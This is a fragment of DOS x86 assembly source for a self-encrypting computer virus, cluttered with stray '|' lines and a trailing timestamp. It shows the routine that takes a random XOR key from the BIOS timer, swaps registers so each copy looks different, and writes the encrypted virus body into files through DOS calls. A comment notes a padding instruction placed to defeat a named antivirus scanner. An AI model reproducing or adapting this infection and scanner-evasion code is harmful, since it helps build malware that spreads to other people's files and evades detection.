encrypt_code proc near
|
|
|
|
|
mov si,offset encrypt_decrypt; SI points to cipher routine
|
|
|
|
|
|
|
|
|
|
xor ah,ah ; BIOS get time function
|
|
|
|
|
int 01Ah
|
|
|
|
|
mov word ptr [si + 9],dx ; Low word of timer is new key
|
|
|
|
|
|
|
|
|
|
xor byte ptr [si],1 ;
|
|
|
|
|
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
|
|
|
|
xor word ptr [si + 11],0101h; (and vice-versa)
|
|
|
|
|
|
|
|
|
|
mov di,offset finish ; Copy routine into heap
|
|
|
|
|
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
|
|
|
|
push si ; Save SI for later
|
|
|
|
|
push cx ; Save CX for later
|
|
|
|
|
rep movsb ; Copy the bytes
|
|
|
|
|
|
|
|
|
|
mov si,offset write_stuff ; SI points to write stuff
|
|
|
|
|
mov cx,5 ; CX holds length of write
|
|
|
|
|
rep movsb ; Copy the bytes
|
|
|
|
|
|
|
|
|
|
pop cx ; Restore CX
|
|
|
|
|
pop si ; Restore SI
|
|
|
|
|
inc cx ; Copy the RET also this time
|
|
|
|
|
rep movsb ; Copy the routine again
|
|
|
|
|
|
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
|
|
|
mov dx,offset start ; DX points to virus
|
|
|
|
|
|
|
|
|
|
call finish ; Encrypt/write/decrypt
|
|
|
|
|
|
|
|
|
|
ret ; Return to caller
|
|
|
|
|
|
|
|
|
|
write_stuff: mov cx,finish - start ; Length of code
|
|
|
|
|
int 021h
|
|
|
|
|
encrypt_code endp
|
|
|
|
|
|
|
|
|
|
end_of_code label near
|
|
|
|
|
|
|
|
|
|
; -----------------------------------------------------------------------------
|
|
|
|
|
encrypt_decrypt proc near
|
|
|
|
|
mov si,offset start_of_code ; SI points to code to decrypt
|
|
|
|
|
nop ; Defeat SCAN 95B
|
|
|
|
|
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
|
|
|
|
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
|
|
|
|
inc si ; Do the next word
|
|
|
|
|
inc si ;
|
|
|
|
|
loop xor_loop ; Loop until we're through
|
|
|
|
|
ret ; Return to caller
|
|
|
|
|
encrypt_decrypt endp
|
|
|
|
|
|
|
|
|
|
finish label near
|
|
|
|
|
|
|
|
|
|
code ends
|
|
|
|
|
end main
|
2021-01-13 00:04:54 +00:00
|
|
|
|
|